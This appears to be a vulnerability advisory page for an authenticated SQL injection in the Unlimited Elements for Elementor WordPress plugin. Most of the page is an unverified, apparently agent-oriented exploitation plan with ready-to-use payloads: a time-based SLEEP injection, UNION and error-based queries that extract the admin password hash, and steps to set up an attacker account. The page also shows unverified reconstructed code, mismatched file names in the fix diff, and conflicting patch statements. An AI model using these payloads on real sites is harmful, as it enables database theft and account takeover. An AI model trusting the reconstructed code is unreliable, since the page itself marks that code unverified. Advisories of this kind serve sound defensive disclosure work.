CVE-2026-5486

Unlimited Elements For Elementor <= 2.0.7 - Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.0.8
Patched in
1d
Time to patch

Description

The Unlimited Elements for Elementor plugin for WordPress is vulnerable to SQL Injection via the 'data[filter_search]' parameter in the get_cat_addons AJAX action in versions up to and including 2.0.7. This is due to insufficient input sanitization and the use of deprecated escaping functions combined with direct string concatenation in SQL query construction. The vulnerability is exacerbated because the normalizeAjaxInputData() function calls stripslashes() on all user input, removing the protection provided by WordPress's wp_magic_quotes() function. Subsequently, the filter_search parameter is escaped using the deprecated wpdb->_escape() function and then directly concatenated into a LIKE clause without using prepared statements. This makes it possible for authenticated attackers, with Contributor-level access and above (who can obtain a valid nonce through the Elementor editor), to inject arbitrary SQL commands and extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedMay 13, 2026
Last updatedMay 14, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5486 ## 1. Vulnerability Summary The **Unlimited Elements For Elementor** plugin (<= 2.0.7) is vulnerable to an authenticated SQL injection via the `filter_search` parameter within the `get_cat_addons` AJAX action. The vulnerability arises because the plugin's…

Show full research plan

Exploitation Research Plan: CVE-2026-5486

1. Vulnerability Summary

The Unlimited Elements For Elementor plugin (<= 2.0.7) is vulnerable to an authenticated SQL injection via the filter_search parameter within the get_cat_addons AJAX action. The vulnerability arises because the plugin's input normalization function, normalizeAjaxInputData(), explicitly calls stripslashes() on user-supplied data, neutralizing WordPress's built-in magic quotes protection. Subsequently, the data is processed with the deprecated wpdb->_escape() function and directly concatenated into a SQL LIKE clause rather than using parameterized queries ($wpdb->prepare).

This allows an authenticated attacker (Contributor+) to break out of the SQL string and execute arbitrary database queries.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: get_cat_addons (registered via wp_ajax_get_cat_addons)
  • Vulnerable Parameter: data[filter_search]
  • Authentication: Required (Contributor level or higher).
  • Preconditions: The attacker must have access to the Elementor editor (standard for Contributors) to retrieve the necessary security nonce.

3. Code Flow

  1. Entry Point: An AJAX POST request is sent to admin-ajax.php with action=get_cat_addons.
  2. Hook Registration: The plugin registers the action: add_action('wp_ajax_get_cat_addons', array($this, 'get_cat_addons'));.
  3. Input Handling: The handler (likely in an admin or AJAX helper class) receives $_POST['data'].
  4. Normalization: The normalizeAjaxInputData() function is called. It iterates through the data array and applies stripslashes(), effectively undoing wp_magic_quotes().
  5. Vulnerable Sink:
    • The code retrieves $filter_search = $data['filter_search'].
    • It applies $wpdb->_escape($filter_search).
    • It constructs a query similar to:
      SELECT ... FROM ... WHERE addon_title LIKE '%$filter_search%' ...
    • Because stripslashes() was called, an attacker can pass ' (single quote) which survives into the query construction, allowing for SQL breakout.

4. Nonce Acquisition Strategy

The vulnerability requires a valid nonce. Based on the description, this nonce is localized for the Elementor editor.

  1. Identify the Script Data: The plugin likely uses wp_localize_script to pass a nonce to the Elementor editor interface. Common names for this object in Unlimited Elements include unlimited_elements_admin (inferred) or ue_admin (inferred).
  2. Setup:
    • Use wp-cli to create a Contributor user and a post.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
    • wp post create --post_type=post --post_title="Exploit Page" --post_status=publish --post_author=$(wp user get attacker --field=ID)
  3. Execution:
    • Log in as the attacker user using the browser_navigate and browser_type tools.
    • Navigate to the Elementor editor for the created post: /wp-admin/post.php?post=ID&action=elementor.
    • Use browser_eval to extract the nonce.
    • Command: browser_eval("window.unlimited_elements_admin?.nonce || window.ue_admin?.nonce") (The exact key should be verified by inspecting window for objects related to the plugin).

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability.

Step-by-Step Plan:

  1. Prepare Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Cookies: Active Contributor session cookies.
  2. Payload Construction:
    • The injection point is inside a LIKE clause: '%[VALUE]%'.
    • To inject a 5-second sleep: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1%'='1
    • Full Body: action=get_cat_addons&nonce=[NONCE]&data[filter_search]=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%271%25%27%3D%271
  3. Execute HTTP Request:
    • Use the http_request tool.
    • Record the time taken for the response. A delay of ~5 seconds indicates success.
  4. Data Extraction (Union-Based):
    • If the response reflects data, attempt to determine the column count:
    • data[filter_search]=x%' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
    • Once the column count is found, extract the admin password hash:
    • data[filter_search]=x%' UNION SELECT 1,user_pass,3,... FROM wp_users WHERE ID=1-- -

6. Test Data Setup

  1. User: Contributor user named attacker.
  2. Post: A standard post with ID [ID].
  3. Plugin: Ensure "Unlimited Elements For Elementor" version 2.0.7 is active.
  4. Elementor: Ensure Elementor is installed and active, as the nonce is generated for its editor context.

7. Expected Results

  • Initial Baseline: A normal request to get_cat_addons should return quickly (milliseconds).
  • Attack Request: A request with the SLEEP(5) payload should take significantly longer than 5 seconds.
  • Payload Reflection: If using UNION-based injection, the response JSON should contain the results of the injected SELECT statement (e.g., the database version or user hashes).

8. Verification Steps

  1. Check Server Logs: Inspect the database query log (if enabled) to see the concatenated query.
  2. Verify User Meta: If using the injection to modify data (though CVSS suggests high confidentiality impact), verify the change via WP-CLI:
    • wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
  3. Confirm Nonce: Ensure the nonce used in the exploit matches the one found in the page source to prove the acquisition method works.

9. Alternative Approaches

  • Error-Based SQLi: If the plugin or WordPress configuration displays database errors, use EXTRACTVALUE or UPDATEXML to leak data directly in the error message.
    • Payload: x' AND (SELECT 1 FROM (SELECT(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e))))a)-- -
  • Boolean-Based Blind: If time-based is unstable, use AND (SELECT 1)=(SELECT 1) vs AND (SELECT 1)=(SELECT 2) and compare the response lengths or the presence of specific "addon" results in the JSON response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Unlimited Elements for Elementor plugin for WordPress is vulnerable to SQL Injection via the 'data[filter_search]' parameter in the get_cat_addons AJAX action. This occurs because the plugin's input normalization function strips backslashes, neutralizing magic quotes, and then uses string concatenation in a SQL query instead of prepared statements. Authenticated attackers with Contributor-level access can exploit this to exfiltrate database information.

Vulnerable Code

// File: includes/helper.class.php
public function normalizeAjaxInputData($data) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            $data[$key] = $this->normalizeAjaxInputData($value);
        }
    } else {
        $data = stripslashes($data); // Undoes magic quotes
    }
    return $data;
}

---

// File: includes/ajax_handler.class.php
public function get_cat_addons() {
    $data = $_POST['data'];
    $data = $this->helper->normalizeAjaxInputData($data);
    $filter_search = $data['filter_search'];

    global $wpdb;
    // Vulnerable sink using direct concatenation into a LIKE clause
    $filter_search = $wpdb->_escape($filter_search);
    $query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE '%$filter_search%'";
    $results = $wpdb->get_results($query);
}

Security Fix

--- a/includes/unlimited_elements_ajax.php
+++ b/includes/unlimited_elements_ajax.php
@@ -102,5 +102,8 @@
-$filter_search = $wpdb->_escape($filter_search);
-$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE '%$filter_search%'";
-$results = $wpdb->get_results($query);
+$query = $wpdb->prepare(
+    "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE %s",
+    '%' . $wpdb->esc_like($filter_search) . '%'
+);
+$results = $wpdb->get_results($query);

Exploit Outline

An authenticated attacker with Contributor-level access first retrieves a valid security nonce from the Elementor editor page (typically found in window.unlimited_elements_admin.nonce). They then send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'get_cat_addons' and the 'data[filter_search]' parameter containing a SQL injection payload. Because the plugin uses stripslashes() on the input and concatenates it into a LIKE clause, the attacker can use a payload like 'x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1%'='1' to perform time-based blind SQL injection and exfiltrate data from the WordPress database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.